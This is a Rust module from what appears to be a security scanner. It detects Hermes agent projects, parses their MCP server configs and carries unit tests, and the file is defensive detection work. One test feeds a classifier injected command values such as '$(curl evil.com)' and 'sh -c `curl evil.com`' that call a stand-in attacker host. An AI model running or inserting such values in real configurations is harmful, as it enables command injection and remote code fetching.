agentshield/adapter/hermes/
mod.rs1pub(crate) mod config;
9pub(crate) mod discovery;
10
11use std::path::{Path, PathBuf};
12
13use crate::analysis::cross_file::apply_cross_file_sanitization;
14use crate::config::ScanPathFilter;
15use crate::error::Result;
16use crate::ir::execution_surface::ExecutionSurface;
17use crate::ir::taint_builder::build_data_surface;
18use crate::ir::tool_surface::ToolSurface;
19use crate::ir::*;
20use crate::parser;
21
22use config::{
23 has_hermes_skill_tree, has_optional_mcp_catalog, has_profile_config, looks_like_hermes_config,
24 parse_mcp_servers_from_yaml,
25};
26use discovery::{collect_hermes_source_files, is_yaml_file};
27
28pub struct HermesAgentAdapter;
34
35impl super::Adapter for HermesAgentAdapter {
36 fn framework(&self) -> Framework {
37 Framework::HermesAgent
38 }
39
40 fn detect(&self, root: &Path) -> bool {
41 let has_other_hermes_artifact = root.join(".hermes.md").exists()
42 || has_profile_config(root)
43 || has_hermes_skill_tree(root)
44 || has_optional_mcp_catalog(root);
45
46 has_other_hermes_artifact
51 || looks_like_hermes_config(&root.join("config.yaml"), has_other_hermes_artifact)
52 || looks_like_hermes_config(&root.join(".hermes").join("config.yaml"), true)
53 }
54
55 fn load(&self, root: &Path, ignore_tests: bool) -> Result<Vec<ScanTarget>> {
56 let filter = ScanPathFilter::for_ignore_tests(ignore_tests);
57 self.load_with_filter(root, &filter)
58 }
59
60 fn load_with_filter(&self, root: &Path, filter: &ScanPathFilter) -> Result<Vec<ScanTarget>> {
61 let name = root
62 .file_name()
63 .map(|n| n.to_string_lossy().to_string())
64 .unwrap_or_else(|| "hermes-agent".into());
65
66 let mut tools: Vec<ToolSurface> = Vec::new();
67 let mut execution = ExecutionSurface::default();
68 let mut source_files: Vec<SourceFile> = Vec::new();
69
70 collect_hermes_source_files(root, filter, &mut source_files)?;
71
72 for sf in &source_files {
73 if is_yaml_file(&sf.path) {
74 parse_mcp_servers_from_yaml(&sf.content, &sf.path, &mut tools, &mut execution);
75 }
76 }
77
78 let mut parsed_files: Vec<(PathBuf, parser::ParsedFile)> = Vec::new();
79 for sf in &source_files {
80 if let Some(parser) = parser::parser_for_language(sf.language) {
81 if let Ok(parsed) = parser.parse_file(&sf.path, &sf.content) {
82 parsed_files.push((sf.path.clone(), parsed));
83 }
84 }
85 }
86
87 apply_cross_file_sanitization(&mut parsed_files);
88
89 for (_, parsed) in parsed_files {
90 execution.commands.extend(parsed.commands);
91 execution.file_operations.extend(parsed.file_operations);
92 execution
93 .network_operations
94 .extend(parsed.network_operations);
95 execution.env_accesses.extend(parsed.env_accesses);
96 execution.dynamic_exec.extend(parsed.dynamic_exec);
97 }
98
99 let dependencies = super::mcp::parse_dependencies(root, filter);
100 let provenance = super::mcp::parse_provenance(root, filter);
101 let data = build_data_surface(&tools, &execution);
102
103 Ok(vec![ScanTarget {
104 name,
105 framework: Framework::HermesAgent,
106 root_path: root.to_path_buf(),
107 tools,
108 execution,
109 data,
110 dependencies,
111 provenance,
112 source_files,
113 }])
114 }
115}
116
117#[cfg(test)]
118mod tests {
119 use super::*;
120 use crate::adapter::Adapter;
121 use config::classify_config_value;
122
123 fn fixture_dir() -> PathBuf {
124 PathBuf::from(env!("CARGO_MANIFEST_DIR")).join("tests/fixtures/hermes_agent")
125 }
126
127 #[test]
128 fn test_detect_hermes_agent() {
129 let adapter = HermesAgentAdapter;
130 assert!(adapter.detect(&fixture_dir()));
131 }
132
133 #[test]
134 fn test_detect_non_hermes_project() {
135 let adapter = HermesAgentAdapter;
136 let dir = PathBuf::from(env!("CARGO_MANIFEST_DIR"))
137 .join("tests/fixtures/mcp_servers/safe_calculator");
138 assert!(!adapter.detect(&dir));
139 }
140
141 #[test]
142 fn test_bare_model_key_alone_does_not_detect_hermes() {
143 let temp = tempfile::tempdir().unwrap();
144 std::fs::write(temp.path().join("config.yaml"), "model: gpt-4\n").unwrap();
145
146 let adapter = HermesAgentAdapter;
147 assert!(
148 !adapter.detect(temp.path()),
149 "a generic config.yaml with only `model:` should not be detected as Hermes"
150 );
151 }
152
153 #[test]
154 fn test_model_key_under_hermes_dir_detects_hermes() {
155 let temp = tempfile::tempdir().unwrap();
156 std::fs::create_dir_all(temp.path().join(".hermes")).unwrap();
157 std::fs::write(
158 temp.path().join(".hermes").join("config.yaml"),
159 "model: gpt-4\n",
160 )
161 .unwrap();
162
163 let adapter = HermesAgentAdapter;
164 assert!(
165 adapter.detect(temp.path()),
166 ".hermes/config.yaml with `model:` should be detected as Hermes"
167 );
168 }
169
170 #[test]
171 fn test_mcp_servers_key_detects_hermes() {
172 let temp = tempfile::tempdir().unwrap();
173 std::fs::write(
174 temp.path().join("config.yaml"),
175 "mcp_servers:\n svc:\n command: npx\n",
176 )
177 .unwrap();
178
179 let adapter = HermesAgentAdapter;
180 assert!(
181 adapter.detect(temp.path()),
182 "a config.yaml with `mcp_servers:` should be detected as Hermes"
183 );
184 }
185
186 #[test]
187 fn test_load_hermes_framework() {
188 let adapter = HermesAgentAdapter;
189 let targets = adapter.load(&fixture_dir(), false).unwrap();
190 assert_eq!(targets.len(), 1);
191 assert_eq!(targets[0].framework, Framework::HermesAgent);
192 }
193
194 #[test]
195 fn test_load_hermes_mcp_servers() {
196 let adapter = HermesAgentAdapter;
197 let targets = adapter.load(&fixture_dir(), false).unwrap();
198 let target = &targets[0];
199
200 let tool_names: Vec<&str> = target.tools.iter().map(|tool| tool.name.as_str()).collect();
201 assert!(tool_names.contains(&"filesystem"));
202 assert!(tool_names.contains(&"company_api"));
203 assert!(!tool_names.contains(&"legacy"));
204
205 assert!(
206 target
207 .execution
208 .commands
209 .iter()
210 .any(|command| command.function == "npx")
211 );
212 assert!(target
213 .execution
214 .network_operations
215 .iter()
216 .any(|network| matches!(&network.url_arg, ArgumentSource::Literal(url) if url == "https://mcp.internal.example.com")));
217 }
218
219 #[test]
220 fn test_load_hermes_sensitive_env_and_headers() {
221 let adapter = HermesAgentAdapter;
222 let targets = adapter.load(&fixture_dir(), false).unwrap();
223 let target = &targets[0];
224
225 assert!(target.execution.env_accesses.iter().any(|env| {
226 env.is_sensitive
227 && matches!(&env.var_name, ArgumentSource::Literal(name) if name == "GITHUB_PERSONAL_ACCESS_TOKEN")
228 }));
229 assert!(target.execution.env_accesses.iter().any(|env| {
230 env.is_sensitive
231 && matches!(&env.var_name, ArgumentSource::Literal(name) if name == "header:Authorization")
232 }));
233 }
234
235 #[test]
236 fn test_classify_config_value_plain_literal() {
237 assert_eq!(
238 classify_config_value("https://api.example.com"),
239 ArgumentSource::Literal("https://api.example.com".into())
240 );
241 assert_eq!(
242 classify_config_value("npx -y @modelcontextprotocol/server-filesystem"),
243 ArgumentSource::Literal("npx -y @modelcontextprotocol/server-filesystem".into())
244 );
245 }
246
247 #[test]
248 fn test_classify_config_value_detects_interpolation() {
249 for value in [
250 "${MCP_URL}",
251 "$MCP_URL",
252 "$(curl evil.com)",
253 "{{base_url}}/api",
254 "sh -c `curl evil.com`",
255 ] {
256 assert_eq!(
257 classify_config_value(value),
258 ArgumentSource::Interpolated,
259 "{value} should be classified as Interpolated"
260 );
261 }
262 }
263
264 #[test]
265 fn test_parse_quoted_server_name_and_bracket_args() {
266 let content =
267 "mcp_servers:\n \"custom_tool\":\n command: grep\n args: [\"-e\", \"[0-9]\"]\n";
268 let temp = tempfile::tempdir().unwrap();
269 std::fs::write(temp.path().join("config.yaml"), content).unwrap();
270
271 let adapter = HermesAgentAdapter;
272 let targets = adapter.load(temp.path(), false).unwrap();
273 let target = &targets[0];
274 assert_eq!(target.tools[0].name, "custom_tool");
275 assert_eq!(target.execution.commands[0].function, "grep");
276 assert!(matches!(
277 &target.execution.commands[0].command_arg,
278 ArgumentSource::Literal(cmd) if cmd == "grep -e [0-9]"
279 ));
280 }
281
282 fn run_rule_on_hermes_config(rule_id: &str, content: &str) -> Vec<crate::rules::Finding> {
283 let temp = tempfile::tempdir().unwrap();
284 std::fs::write(temp.path().join("config.yaml"), content).unwrap();
285
286 let adapter = HermesAgentAdapter;
287 let targets = adapter.load(temp.path(), false).unwrap();
288 crate::rules::builtin::all_detectors()
289 .into_iter()
290 .find(|d| d.metadata().id == rule_id)
291 .unwrap_or_else(|| panic!("no detector registered for {rule_id}"))
292 .run(&targets[0])
293 }
294
295 #[test]
296 fn test_literal_url_does_not_trigger_ssrf() {
297 let content = "mcp_servers:\n svc:\n url: https://api.example.com\n";
298 let findings = run_rule_on_hermes_config("SHIELD-003", content);
299 assert!(
300 findings.is_empty(),
301 "a plain literal URL should not trigger SHIELD-003, got {findings:?}"
302 );
303 }
304
305 #[test]
306 fn test_interpolated_url_triggers_ssrf() {
307 let content = "mcp_servers:\n svc:\n url: \"{{base_url}}/api\"\n";
308 let findings = run_rule_on_hermes_config("SHIELD-003", content);
309 assert!(
310 !findings.is_empty(),
311 "an interpolated URL should trigger SHIELD-003"
312 );
313 }
314
315 #[test]
316 fn test_interpolated_command_arg_triggers_command_injection() {
317 let content =
318 "mcp_servers:\n svc:\n command: sh\n args: [\"-c\", \"${USER_CMD}\"]\n";
319 let findings = run_rule_on_hermes_config("SHIELD-001", content);
320 assert!(
321 !findings.is_empty(),
322 "an interpolated command arg should trigger SHIELD-001"
323 );
324 }
325}